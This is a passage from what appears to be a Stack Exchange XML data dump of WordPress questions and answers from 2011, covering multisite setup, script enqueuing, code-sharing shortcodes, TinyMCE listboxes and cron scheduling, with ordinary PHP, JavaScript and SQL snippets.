AnswerCount="1" FavoriteCount="1" />
  <row Id="13644" PostTypeId="2" ParentId="13634" CreationDate="2011-03-31T16:27:30.833" Score="0" ViewCount="" Body="&lt;p&gt;Short answer ... yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you install WordPress at the root of &lt;code&gt;example.com&lt;/code&gt; you'll be creating a &lt;em&gt;third&lt;/em&gt; blog.  Don't worry too much about this, just recognize it's there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your network using subfolders for the different sites.  Then create two new sites: &lt;code&gt;blog&lt;/code&gt; and &lt;code&gt;otherblog&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, any posts on these sites will use the URL structure: &lt;code&gt;example.com/[sitename]/[permalink]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just import your old site into the new one and you'll have the same URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there's not really a way you can have the old one run simultaneously with the new one.  All requests to the root (&lt;code&gt;example.com&lt;/code&gt;) will be eaten by WordPress and redirected to the appropriate site.  So if you set up &lt;code&gt;blog&lt;/code&gt; first, any requests to &lt;code&gt;example.com/otherblog&lt;/code&gt; will result in a 404 error until you set up and import that site as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your sites were running on subdomains rather than in subfolders it would be possible ... it's an unfortunate circumstance many people who have shared hosting plans run into (and a good reason to upgrade your host).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-31T16:27:30.833" />
  <row Id="13645" PostTypeId="1" CreationDate="2011-03-31T16:42:19.843" Score="2" ViewCount="286" Body="&lt;p&gt;I would like to take the contents from Microsoft Word files and convert them into WordPress blog posts without losing the footnotes. I've tried many different methods but have not found a simple working solution to this basic issue. The ideal solution would automatically upload a Word file (or many files) to a WordPress blog and convert the footnotes to HTML anchors. &lt;/p&gt;&#xA;" OwnerUserId="4353" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-02T05:18:43.730" LastActivityDate="2011-08-31T21:37:44.117" Title="How can I publish Word files to a WordPress blog without losing the footnotes?" Tags="&lt;html&gt;&lt;editor&gt;&lt;microsoft&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="13646" PostTypeId="2" ParentId="13643" CreationDate="2011-03-31T16:54:11.600" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;https://codex.wordpress.org/Function_Reference/get_the_date&quot; rel=&quot;nofollow&quot;&gt;get_the_date&lt;/a&gt; and/or &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/get_the_time&quot; rel=&quot;nofollow&quot;&gt;get_the_time&lt;/a&gt; will return the date/time of the post rather than printing it.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-31T16:54:11.600" CommentCount="2" />
  <row Id="13647" PostTypeId="1" AcceptedAnswerId="14749" CreationDate="2011-03-31T16:55:18.073" Score="0" ViewCount="276" Body="&lt;p&gt;I've installed a number of WordPress sites across many different platforms and I'm finding that when installed on IIS7 I'm getting the nasty default IIS7 404 error. I nuked Window's hold on the 404 and now I'm receiving the standard. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there an address I need to redirect to in order to display the WP404? Or does anyone have a better suggestion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a ton!&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-02T05:17:13.667" LastActivityDate="2011-04-14T14:17:37.780" Title="WordPress 404 page returning with default in IIS7" Tags="&lt;theme-development&gt;&lt;404-error&gt;&lt;iis&gt;" AnswerCount="2" />
  <row Id="13648" PostTypeId="2" ParentId="13647" CreationDate="2011-03-31T17:30:52.457" Score="0" ViewCount="" Body="&lt;p&gt;I would redirect to your WP installation's 404 file. This should be in your theme's directory and be titled 404.php. If your installation does not have one by default then add one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wordpress\wp-content\themes\your-theme&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-31T17:30:52.457" CommentCount="6" />
  <row Id="13649" PostTypeId="2" ParentId="13641" CreationDate="2011-03-31T17:47:38.293" Score="0" ViewCount="" Body="&lt;p&gt;Why not loop through the bookmark ID's and assign it to a div, along the lines of &lt;code&gt;&amp;lt;div id=&quot;bookmark-&amp;lt;?php $bookmark_id(); ?&amp;gt;&lt;/code&gt; using &lt;code&gt;get_bookmark&lt;/code&gt; to get the ID's, &lt;code&gt;$bookmark_id = get_bookmark(....);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-31T17:47:38.293" CommentCount="3" />
  <row Id="13650" PostTypeId="1" CreationDate="2011-03-31T17:53:02.627" Score="0" ViewCount="61" Body="&lt;p&gt;I want to add &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; tag to my post, easily. For example, Adding code is very easily in Stackoverflow and other sites. Basically, we can add codes between apostrophes (``) I need something like that for Wordpress .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe i can use shortcode function for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example :&#xA;&lt;code&gt;[code=&quot;&amp;lt;b&amp;gt;Hello&amp;lt;/b&amp;gt;&quot;]&lt;/code&gt; will show exactly like this : &lt;code&gt;&amp;lt;b&amp;gt;Hello&amp;lt;/b&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, i'm sharing a lot of HTML and PHP codes with my readers on my blog. I need an easily way to share them. Is it possible, like stackoverflow's apostrophe method ? Or maybe shortcodes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks...&lt;/p&gt;&#xA;" OwnerUserId="3552" LastEditorUserId="3552" LastEditorDisplayName="" LastEditDate="2011-03-31T18:18:51.153" LastActivityDate="2011-03-31T19:16:05.493" Title="How can i share codes on my blog?" Tags="&lt;shortcode&gt;&lt;code&gt;" AnswerCount="2" />
  <row Id="13651" PostTypeId="2" ParentId="13636" CreationDate="2011-03-31T17:54:05.753" Score="2" ViewCount="" Body="&lt;p&gt;I guess it doesn't need anymore explanation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mymenu = wp_get_nav_menu_object('Main Navigation Menu');&#xA;$menuID = (int) $mymenu-&amp;gt;term_id;&#xA;$myPage = get_page_by_title('About Us');&#xA;&#xA;$itemData =  array(&#xA;    'menu-item-object-id' =&amp;gt; $myPage-&amp;gt;ID,&#xA;    'menu-item-parent-id' =&amp;gt; 0,&#xA;    'menu-item-position'  =&amp;gt; 2,&#xA;    'menu-item-object' =&amp;gt; 'page',&#xA;    'menu-item-type'      =&amp;gt; 'post_type',&#xA;    'menu-item-status'    =&amp;gt; 'publish'&#xA;  );&#xA;&#xA;wp_update_nav_menu_item($menuID, 0, $itemData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-31T17:54:05.753" CommentCount="2" />
  <row Id="13652" PostTypeId="2" ParentId="13637" CreationDate="2011-03-31T17:54:14.113" Score="1" ViewCount="" Body="&lt;p&gt;You seem to be catching wrong query. Dumping SQL for such URL (via &lt;code&gt;posts_request&lt;/code&gt; filter) get me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS  wp_posts.* &#xA;FROM wp_posts  &#xA;INNER JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) &#xA;INNER JOIN wp_term_relationships AS tt1 ON (wp_posts.ID = tt1.object_id) &#xA;WHERE 1=1  &#xA;AND ( wp_term_relationships.term_taxonomy_id IN (93) AND tt1.term_taxonomy_id IN (94) AND wp_posts.ID IN (&#xA;                    SELECT object_id&#xA;                    FROM wp_term_relationships&#xA;                    WHERE term_taxonomy_id IN (93,94)&#xA;                    GROUP BY object_id HAVING COUNT(object_id) = 2&#xA;                ) ) &#xA;AND wp_posts.post_type = 'post' &#xA;AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'private') &#xA;GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In any case see &lt;code&gt;WP_Query-&amp;gt;get_posts()&lt;/code&gt; method, which handles turning query variables into SQL. There is a &lt;strong&gt;lot&lt;/strong&gt; of code there and a lot of it was changed in 3.1, so it's a little hard for me to pinpoint where multiple tags are handled.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-31T17:54:14.113" CommentCount="4" />
  <row Id="13653" PostTypeId="2" ParentId="13650" CreationDate="2011-03-31T18:08:49.810" Score="2" ViewCount="" Body="&lt;p&gt;I'd suggest using &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;Syntax Highlighter Evolved&lt;/a&gt;. It's by Viper007Bond. You can use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sourcecode lang=&quot;php&quot;]&#xA;&amp;lt;?php&#xA;echo 'Hello World!';&#xA;?&amp;gt;&#xA;[/sourcecode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[php]&#xA;&amp;lt;?php&#xA;echo 'Hello World!';&#xA;?&amp;gt;&#xA;[/php]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/sIXGa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An example of how you could do the backticks method that SE uses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse13653_content( $content ){&#xA;  return preg_replace( '@`([^`]+)`@', '&amp;lt;code&amp;gt;$1&amp;lt;/code&amp;gt;', $content );&#xA;}&#xA;&#xA;foreach( array( 'the_content', 'comment_text' ) as $hook )&#xA;  add_filter( $hook, 'wpse13653_content', 1 );&#xA;&#xA;function wpse13653_excerpt( $content ){&#xA;  $content = preg_replace( '@`([^`]+)`@', '&amp;lt;code&amp;gt;$1&amp;lt;/code&amp;gt;', $content );&#xA;  return str_replace( '`', '', $content );&#xA;}&#xA;&#xA;add_filter( 'the_excerpt', 'wpse13653_excerpt', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would let you use backticks in comments and post text, but would also prevent the backticks from showing up in excerpts after the code's been stripped in automatic excerpts.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-31T19:16:05.493" LastActivityDate="2011-03-31T19:16:05.493" CommentCount="2" />
  <row Id="13654" PostTypeId="2" ParentId="13650" CreationDate="2011-03-31T18:13:38.270" Score="1" ViewCount="" Body="&lt;p&gt;OK, i'm using this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function codefunc( $atts ) {&#xA;extract( shortcode_atts( array(&#xA;    'c' =&amp;gt; ''&#xA;), $atts ) );&#xA;&#xA;return &quot;&amp;lt;code&amp;gt;&quot;.htmlentities($c).&quot;&amp;lt;/code&amp;gt;&quot;;&#xA;}&#xA;add_shortcode( 'code', 'codefunc' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[code c=&quot;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Hello&amp;lt;/b&amp;gt;&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3552" LastEditorUserId="3552" LastEditorDisplayName="" LastEditDate="2011-03-31T18:21:59.947" LastActivityDate="2011-03-31T18:21:59.947" CommentCount="7" />
  <row Id="13655" PostTypeId="2" ParentId="13625" CreationDate="2011-03-31T18:15:43.887" Score="2" ViewCount="" Body="&lt;p&gt;You can run WP cron manually by calling: &lt;a href=&quot;http://example.com/wp-cron.php?doing_cron&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-cron.php?doing_cron&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want the automatic cron to run while you're debugging, then add this to your &lt;code&gt;/wp-config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DISABLE_WP_CRON', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're on a development environment and want to output debug information, calling it manually like that will show you your debug output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use PHP's built-in &lt;a href=&quot;http://php.net/manual/en/function.error-log.php&quot; rel=&quot;nofollow&quot;&gt;error_log&lt;/a&gt; function to log message strings to the error log for debugging.  You'd need to use this in conjunction with &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Configure_Error_Log&quot; rel=&quot;nofollow&quot;&gt;WP_DEBUG settings&lt;/a&gt;, as mentioned by Rarst.&lt;/p&gt;&#xA;" OwnerUserId="839" LastEditorUserId="839" LastEditorDisplayName="" LastEditDate="2011-03-31T18:28:55.783" LastActivityDate="2011-03-31T18:28:55.783" CommentCount="1" />
  <row Id="13656" PostTypeId="1" AcceptedAnswerId="13658" CreationDate="2011-03-31T18:18:37.313" Score="0" ViewCount="510" Body="&lt;p&gt;I am working on a custom Wordpress theme for my bosses website. I have everything working perfectly so far except for one thing... the external javascript files will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the exact advice from the links &lt;a href=&quot;http://wordpress.stackexchange.com/questions/441/how-to-link-external-jquery-javascript-files-with-wordpress&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/556/what-is-the-preferred-way-to-add-custom-javascript-files-to-the-site&quot;&gt;here&lt;/a&gt;, but it still does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched the codex, checked source code, used firebug... i have no idea why this is not working. Unfortunately, due to an NDA, I am not allowed to give you any of the actual code from the site, or a link to it. So I will have to explain as best as I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the wp_enqueue_script() to include the files in the functions.php file. The script tags in the head are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='http://www.xx.com/wp-includes/js/jquery/jquery.js?ver=1.4.4'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type='text/javascript' src='http://www.xx.com/wp-content/themes/twentyten/scripts/custom.js?ver=3.1'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the files are loading, but they just are not working. I was wondering if the &quot;?ver=3.1&quot; at the end of my custom.js file might have anything to do with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code from my functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function twentyten_custom_scripts() {&#xA;if ( !is_admin() ) // instruction to only load if it is not the admin area&#xA;{ &#xA;   // register your script location, dependencies and version&#xA;    wp_register_script('custom_script', get_bloginfo('template_directory') . '/scripts/custom.js', array('jquery') );&#xA;   // enqueue the script&#xA;    wp_enqueue_script( 'jquery' );&#xA;    wp_enqueue_script('custom_script');&#xA;}&#xA;}&#xA;add_action('template_redirect', 'twentyten_custom_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am really lost at this point. I even changed all my &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#elem').hide(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#elem').hide(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the custom.js file according to the codex wp_enqueue_script no conflicts wrappers section &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and I am needing this file to load into all of my PAGES, but not on my Blog, as I have multiple &quot;static&quot; pages set up for the main site. I hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&#xA;Joe.&lt;/p&gt;&#xA;" OwnerUserId="4354" LastActivityDate="2011-04-01T11:44:37.640" Title="How to link external javascript files?" Tags="&lt;3.1&gt;&lt;javascript&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13657" PostTypeId="2" ParentId="13593" CreationDate="2011-03-31T18:56:06.127" Score="3" ViewCount="" Body="&lt;h2&gt;You have introduced 2 additional problems by adding the jQuery from Google CDN.&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The admin interface needs jQuery called in no conflict mode so it won't interfere with the other scripts WordPress uses for the dashboard.&lt;/li&gt;&#xA;&lt;li&gt;The WordPress dashboard is not yet compatible with jQuery 1.5 thats why it was pulled from trunk right before 3.1 was released.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://wpdevel.wordpress.com/2011/02/10/if-your-menus-or-widgets-screens-broke/&quot; rel=&quot;nofollow&quot;&gt;WordPress Development Blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use Google's jQuery register it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method() {&#xA;    if (!is_admin()) {&#xA;&#xA;     wp_deregister_script( 'jquery' );&#xA;    wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js');&#xA;    wp_enqueue_script( 'jquery' );&#xA;&#xA;    }&#xA;}&#xA;add_action('init', 'my_init_method');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also your using DDSlider and Magic gallery and both use timthumb.php which can cause problems with the default WordPress media functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ThemeForest plugins and themes are well known to screw with anything having to do with jQuery even after deactivation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all Themeforest plugins and themes add their own jQuery via script tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest first removing your enqueue script or change it not to use it in the admin then use Firebug and find out where the breakpoint point is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your browsers cache is cleared after you disable any of the plugins for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you can try is disabling the Ajax meta descriptions in the Yoast plugin and see if that makes a difference.  &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-31T18:56:06.127" CommentCount="3" />
  <row Id="13658" PostTypeId="2" ParentId="13656" CreationDate="2011-03-31T19:00:50.850" Score="2" ViewCount="" Body="&lt;p&gt;From my point of view, this should be working. Maybe you can post your &lt;strong&gt;custom.js&lt;/strong&gt; file here. It could be possible that this file has a syntax error or something similar. You could also test if the built-in jquery is working out of the box by adding a simple jquery-command in your &lt;strong&gt;header.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some hints:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The action-hook &lt;code&gt;template_redirect&lt;/code&gt; is used to include the file only on the front-page (so i can remeber). If you want to load the script after the theme is loaded, you can use the &lt;code&gt;after_setup_theme&lt;/code&gt; action-hook.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't have to enqueue your jquery file manually, if you set jquery as a dependancy of your &lt;strong&gt;custom.js&lt;/strong&gt;, like you did. The file will automatically be loaded from WordPress before your &lt;strong&gt;custom.js&lt;/strong&gt; is attached.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you have added the &lt;code&gt;jQuery.noConflict();&lt;/code&gt; at the beginning of your &lt;strong&gt;custom.js&lt;/strong&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some working example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function twentyten_custom_scripts() {&#xA;    if ( !is_admin() ) // instruction to only load if it is not the admin area&#xA;    { &#xA;        wp_register_script('custom_script', get_bloginfo('template_directory') . '/scripts/custom.js', array('jquery') );&#xA;        wp_enqueue_script('custom_script');&#xA;    }&#xA;}&#xA;add_action('after_setup_theme', 'twentyten_custom_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;custom.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.noConflict();&#xA;&#xA;jQuery(document).ready(function() {&#xA;    // do your stuff e.g.&#xA;    jQuery(&quot;a[rel^='prettyPhoto']&quot;).prettyPhoto();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-01T11:44:37.640" LastActivityDate="2011-04-01T11:44:37.640" CommentCount="1" />
  <row Id="13659" PostTypeId="1" AcceptedAnswerId="13666" CreationDate="2011-03-31T19:10:25.023" Score="0" ViewCount="369" Body="&lt;p&gt;I am having trouble adding a list box to the TinyMCE editor in Wordpress. I have already read entirely through this question but it did not get me all the way there: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13246/how-i-can-i-add-a-split-button-or-list-box-to-the-wordpress-tinymce-instance&quot;&gt;How i can i add a split button or list box to the WordPress TinyMCE instance&lt;/a&gt;. That solution only alerts the value in a dialog box. I want to actually insert the shortcode into the TinyMCE editor and I can't figure out how. I am successfully able to add custom buttons and listboxes to the TinyMCE editor, and the buttons work but the listbox does not. Here's my functions.php code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add shortcode buttons to the tinyMCE editor row 3&#xA;function add_button_3() {&#xA;   if ( current_user_can('edit_posts') &amp;amp;&amp;amp;  current_user_can('edit_pages') )&#xA;   {&#xA;     add_filter('mce_external_plugins', 'add_plugin_3');&#xA;     add_filter('mce_buttons_3', 'register_button_3');&#xA;   }&#xA;}&#xA;//setup array of shortcode buttons to add&#xA;function register_button_3($buttons) {&#xA;   array_push($buttons, &quot;dropcap&quot;);&#xA;   array_push($buttons, &quot;divider&quot;);&#xA;   array_push($buttons, &quot;quote&quot;);&#xA;   array_push($buttons, &quot;pullquoteleft&quot;);&#xA;   array_push($buttons, &quot;pullquoteright&quot;);&#xA;   array_push($buttons, &quot;boxdark&quot;);&#xA;   array_push($buttons, &quot;boxlight&quot;);&#xA;   array_push($buttons, &quot;togglesimple&quot;);&#xA;   array_push($buttons, &quot;togglebox&quot;);&#xA;   array_push($buttons, &quot;tabs&quot;);&#xA;   array_push($buttons, &quot;signoff&quot;);  &#xA;   array_push($buttons, &quot;fancylist&quot;);&#xA;   array_push($buttons, &quot;arrowlist&quot;);&#xA;   array_push($buttons, &quot;checklist&quot;);&#xA;   array_push($buttons, &quot;starlist&quot;);&#xA;   array_push($buttons, &quot;pluslist&quot;);&#xA;   array_push($buttons, &quot;heartlist&quot;);&#xA;   array_push($buttons, &quot;infolist&quot;); &#xA;   array_push($buttons, &quot;columns&quot;);&#xA;   return $buttons;&#xA;}&#xA;//setup array for tinyMCE editor interface&#xA;function add_plugin_3($plugin_array) {&#xA;   $plugin_array['fancylist'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['arrowlist'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['checklist'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['starlist'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['pluslist'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['heartlist'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['infolist'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['signoff'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['dropcap'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['divider'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['quote'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['pullquoteleft'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['pullquoteright'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['boxdark'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['boxlight'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['togglesimple'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['togglebox'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['tabs'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['columns'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   return $plugin_array;&#xA;}&#xA;add_action('init', 'add_button_3'); // add the add_button function to the page init&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my JS for adding the listbox to the TinyMCE editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Creates a new plugin class and a custom listbox&#xA;tinymce.create('tinymce.plugins.columns', {&#xA;    createControl: function(n, cm) {&#xA;        switch (n) {&#xA;            case 'columns':&#xA;                var mlb = cm.createListBox('columns', {&#xA;                    title : 'Add a Column',&#xA;                    onselect : function(v) {&#xA;                        tinyMCE.activeEditor.windowManager.alert('Value selected:' + v);&#xA;                    }&#xA;                });&#xA;&#xA;                // Add some values to the list box&#xA;                mlb.add('One Third', 'one_third');&#xA;                mlb.add('One Third (last)', 'one_third_last');&#xA;                mlb.add('Two Thirds', 'two_thirds');&#xA;&#xA;            // Return the new listbox instance&#xA;            return mlb;&#xA;&#xA;        }&#xA;        return null;&#xA;    }&#xA;});&#xA;tinymce.PluginManager.add('columns', tinymce.plugins.columns);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to change in the JS for it to actually add the shortcode to my editor instead of just displaying the value of the listbox in a modal dialog? &lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2011-04-01T16:56:11.497" Title="How do I add a listbox to the TinyMCE editor?" Tags="&lt;filters&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="13660" PostTypeId="1" AcceptedAnswerId="13661" CreationDate="2011-03-31T19:20:49.740" Score="0" ViewCount="153" Body="&lt;p&gt;Basically I wrote a function that lets me change the post status to draft depending of a field in the postmeta table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Remove ads if they have been sold for over 5 days&#xA; */&#xA;function cp_remove_sold_ads(){&#xA;&#xA;    global $wpdb;&#xA;    // Get all sold ads&#xA;    $sold_ads = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM &quot; . $wpdb-&amp;gt;prefix . &quot;postmeta WHERE `meta_key` = 'cp_ad_sold_date' AND `meta_value` &amp;lt;&amp;gt; ''&quot;);&#xA;&#xA;    foreach ($sold_ads as $ad) {&#xA;        $today = time();&#xA;&#xA;        // Get day, month, year&#xA;        $date = explode('-',get_post_meta($ad-&amp;gt;post_id, 'cp_ad_sold_date', true));&#xA;&#xA;        $sold_date = mktime(null, null, null, $date[1], $date[2], $date[0]);&#xA;        $date_diff = $today - $sold_date;&#xA;&#xA;        // Get the days difference&#xA;        $sold_day_diff = floor($date_diff / (60*60*24));&#xA;&#xA;        if ($sold_day_diff &amp;gt;= 5) {&#xA;            wp_update_post(array('ID' =&amp;gt; $ad-&amp;gt;post_id, 'post_status' =&amp;gt; 'draft'));&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, and if I add the function to the init action it does what its supposed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init' , 'cp_remove_sold_ads' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I'd like to make this action execute daily instead, I've been looking around and found that WP uses wp_schedule_event to hanlde cron jobs, but I have no idea how to use it, does anyone know what do I have to add to handle it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-03-31T19:28:29.343" Title="Create cron job without a plugin?" Tags="&lt;posts&gt;&lt;functions&gt;&lt;actions&gt;&lt;cron&gt;" AnswerCount="1" FavoriteCount="1" />
